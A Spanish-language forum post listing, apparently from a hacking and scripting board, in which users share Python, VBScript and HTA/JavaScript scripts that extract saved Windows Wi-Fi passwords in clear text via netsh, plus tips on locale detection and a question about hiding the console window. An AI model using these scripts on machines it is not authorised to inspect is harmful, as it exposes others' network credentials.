  40.            f.write(f"[SSID: {ssid}] => \"{password}\"\n")
  41.  
  42.    print(f"Contraseñas guardadas en {log_file}")
  43.  
  44. def main():
  45.    wifi_passwords = get_wifi_passwords()
  46.  
  47.    for ssid, password in wifi_passwords.items():
  48.        print(f"[SSID: {ssid}] => \"{password}\"")
  49.  
  50.    save_to_file(wifi_passwords)
  51.  
  52. if __name__ == "__main__":
  53.    main()
  54.  

Saludos
6  Programación / Scripting / Re: [APORTE] Batch que devuelva contraseñas Wifi guardadas de Windows 10 en: 11 Abril 2025, 06:39 am
hola Bad4m_cod3 creo que quedaria mas bien usando el metodo StdOut.RealAll() seria mas rapido ya que usando el metodo linea por linea es mas lento y mas si lo haces en javascript es muy lento...pero tendria que modificar el codigo y es mas complicado pero no imposible y el comado option explicit es para validar de que las variables a usar sean declaradas y si falta una por declarar te marcaria un error asi es mas eficiente el codigo...al principio yo no lo usaba pero me lo aclaro MCKSys Argentina

en fin saludos Flamer

Revisando detenidamente tu perfil es un orgullo saber que fue inspiracion para publicarlo en tu Blog. Me gusto el uso de HTML.

Código
  1.  
  2. <head><title>Wifi Password</title>
  3.  
  4. <br><br>
  5. <textarea id="resultados" cols="90" rows="20"></textarea><br><br>
  6. <input type="button" value="Extraer Password Wifi" onclick="pass()">
  7. function pass()
  8. {  
  9.   var exec2,posicion1,posicion2,datos1,datos2
  10.   var shell=new ActiveXObject("wscript.shell")
  11.   var exec1=shell.exec("cmd /c netsh wlan show profile")
  12.  
  13.  
  14.   do
  15.   {
  16.      datos1=exec1.StdOut.ReadLine()
  17.      posicion1="    Perfil de todos los usuarios     : "
  18.  
  19.      if(datos1.indexOf(posicion1)!=-1)
  20.      {
  21.         datos1=datos1.replace(posicion1,"")
  22.     exec2=shell.exec("cmd /c netsh wlan show profile " + String.fromCharCode(34) + datos1 + String.fromCharCode(34) + " key=clear")
  23.     do
  24.     {
  25.        datos2=exec2.StdOut.ReadLine()
  26.    posicion2="    Contenido de la clave  : "
  27.    if(datos2.indexOf(posicion2)!=-1)
  28.    {
  29.       datos2=datos2.replace(posicion2,"")
  30.   document.getElementById("resultados").value+="La Password De La Red " + datos1 + "  es : " + datos2 + "\n"
  31.    }
  32.     }while(!exec2.StdOut.atEndofStream)
  33.      }
  34.   }while(!exec1.StdOut.atEndofStream)
  35. }
  36. </body>
  37. </html>

Saludos. Tambien lo pondre a prueba
7  Foros Generales / Noticias / Re: Si usas esta letra, tus contraseñas serán casi imposibles de descifrar: así lo aseguran los hackers en: 11 Abril 2025, 06:15 am
Hola, la letra es la ñ, he ingresado al link de la fuente y ahi lo dice.


Saludos

Realmente por logica es la que se puede usar del español. aunque si el Hacker conoce tu idioma natal no seria de gran ayuda.

Saludos
8  Seguridad Informática / Hacking / Re: Curso de Sombre Negro(Black Hat Hacking) en: 11 Abril 2025, 05:48 am
Hola!

Bueno. Lamentablemente, lo que ves, es lo que hay.

Saludos!

Saludos. Si bien desea puedo actualizar el contenido dando aportes en el SubForo de Hacking, asi se toma la iniciativa y se revive el foro.
9  Programación / Scripting / Re: [APORTE] Batch que devuelva contraseñas Wifi guardadas de Windows 10 en: 11 Abril 2025, 05:23 am
Primero que nada, gracias por compartir.  :D

Soy partidario de programar en inglés, ya que es el estándar en la industria y facilita la comprensión. Sin embargo, cuando existe una limitación del código cuyo funcionamiento está atado a un idioma específico y diferente al Inglés, entonces pierde sentido imprimir mensajes de salida en Inglés, ya que esto vuelve el código inconsistente y también confuso. El idioma de los mensajes de salida deberían ser en el mismo idioma de dicha limitación, ya que su uso es específicamente para usuarios hispanohablantes.

De todas formas yo no vine a hacer crítica sino a ofrecerte soluciones en caso de que las quieras...

Primero vamos con otra cosa más simple:

Si el servicio wlansvc no se está ejecutando, el comando de netsh imprimirá el siguiente mensaje de error:
Lo cierto es que no tendría mucho sentido que dicho servicio esté desactivado si un usuario está utilizando redes inalámbricas en ese momento, pero podría darse el caso (como me ha ocurrido a mi), así que podríamos tener esto en cuenta e iniciar dicho servicio antes de proceder con los comandos de netsh.exe:

Código:
SC.exe START "wlansvc" 1>NUL



Y con respecto al idioma...

Puedes obtener el código LCID (Locale Id) del idioma regional del usuario utilizando el registro de Windows:
Código
  1. reg.exe query "HKCU\Control Panel\International" /v Locale

y también recurriendo a la infraestructura de WMI:
Código
  1. wmic.exe os get locale /value

El valor está en hexadecimal.

Aquí tienes la lista de LCIDS:
  - https://learn.microsoft.com/en-us/openspecs/office_standards/ms-oe376/6c085406-a698-4e12-9d4d-c3b0ee3dbc4a

Sin embargo, hay muchas variantes para muchos idiomas, incluyendo para el Español, así que en lugar de un código numérico es más conveniente obtener un valor humanizado, como el valor LocaleName ubicado en la misma clave de registro:
Código:
FOR /F "skip=2 tokens=2*" %%a IN ('REG QUERY "HKEY_CURRENT_USER\Control Panel\International" /v "LocaleName"') DO SET "OSLanguage=%%b"
el cual devolverá un código de idioma en formato "idioma-región" (ej. es-ES, en-US), y simplemente tendrías que examinar que el valor empiece por "es-" para el Español, o por "en-" el Inglés.

Como alternativa, también puedes iniciar el proceso SystemInfo.exe y buscar la cadena de texto "Español" o "English".

O también puedes obtener el idioma con una simple llamada a PowerShell:

Código:
powershell.exe -Command (Get-Culture).Name
# Output: "es-ES", "en-US", etc.

Código:
powershell.exe -Command (Get-Culture).DisplayName
# Output: "Español (España)", "English (United States)", etc.

Hay muchas maneras de hacerlo.

Y, en base a esta determinación de idioma, adaptarías la cadena de búsqueda del comando Find en Batch-script para buscar la cadena en Español o en Inglés/resto de idiomas.

Aunque, también te digo, por si te interesa (quizás tu propósito sea hacer esto en Batch-script, pero por si acaso eso no es lo que realmente te importa entonces yo te comento lo siguiente) que podrías hacerlo todo directamente en PowerShell, y en VBS, iniciando el proceso netsh.exe para evitar depender del idioma, mediante el uso de expresiones regulares (RegEx). Quizás también fuese posible con el comando FINDSTR en Batch-script, que también soporta expresiones regulares aunque con muchas limitaciones. Yo no tengo wi-fi así que desconozco qué cadena de texto devuelve ese comando de netsh en Español como para poder ayudarte con una solución óptima.

Pero, por si te interesa, este código en PowerShell es independiente del idioma:
  - https://www.reddit.com/r/PowerShell/comments/ozxxqi/comment/h84tqut
Esto es una improvisación más inteligente y simplificada que utilizar RegEx (el código original basado en RegEx es este: https://gist.github.com/Noxsios/7b98e302dc33e444d44620798ad5f7f4). Aquí se utiliza netsh con los parámetros "wlan export" para exportar los valores a un documento XML, y se interpreta el contenido con PowerShell.

Atentamente,
Elektro.

La solucion propuesta esta interesante detalla cada aspecto tecnico, ya me siento a analizar bien el contenido y escribir el codigo en PowerShell. La otra pregunta que planteo seria si existe otra forma que no requiera el comando netsh wlan directamente.
1. Para evitar la ventana cmd emergente
2. Para no depender tanto de procesos que requieran acceso a root en algunos casos.

Saludos
10  Programación / Scripting / Re: [APORTE] Batch que devuelva contraseñas Wifi guardadas de Windows 10 en: 11 Abril 2025, 05:18 am
Hola esta interesante el tema yo lo hice en vbscript aqui el codigo

Código
  1. option explicit
  2. dim shell,exec1,exec2,datos1,datos2,posicion1,posicion2
  3.  
  4. set shell=CreateObject("wscript.shell")
  5. set exec1=shell.exec("cmd /c netsh wlan show profile")
  6.  
  7. do
  8.   datos1=exec1.StdOut.ReadLine()  
  9.   posicion1="    Perfil de todos los usuarios     : "
  10.  
  11.   if instr(datos1,posicion1) Then
  12.  datos1=Replace(datos1,posicion1,"")
  13.  set exec2=shell.exec("cmd /c netsh wlan show profile " & chr(34) & datos1 & chr(34) & " key=clear")
  14.  
  15.  do
  16.     datos2=exec2.StdOut.ReadLine()
  17.         posicion2="    Contenido de la clave  : "
  18.  
  19. if instr(datos2,posicion2) then
  20.    datos2=Replace(datos2,posicion2,"")
  21.    msgbox "La password de el usuario " & datos1 & "  es : " & datos2
  22. end if
  23.  
  24.  loop while not exec2.StdOut.atEndofStream  
  25.  
  26.   end if
  27.  
  28. loop while not exec1.StdOut.atEndofStream
  29.  

una cosa nose si funcione igual en windows 10, me refiero aque si devuelbe los mismos string yo lo use en windows 11...busque en google y me aparece que solo funciona en windows 10 y 11

saludos Flamer y no ocupa permisos




Saludos, De verdad tremendo aporte simplificaste mucho el trabajo realizado. Lo que me llama la atencion es el uso de Option Explicit para el script. Ya lo testeo y comento que tal. La verdadera incognita es como quedaria con Python y Ruby.

Saludos
Páginas: [1] 2 3 4 5 6
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines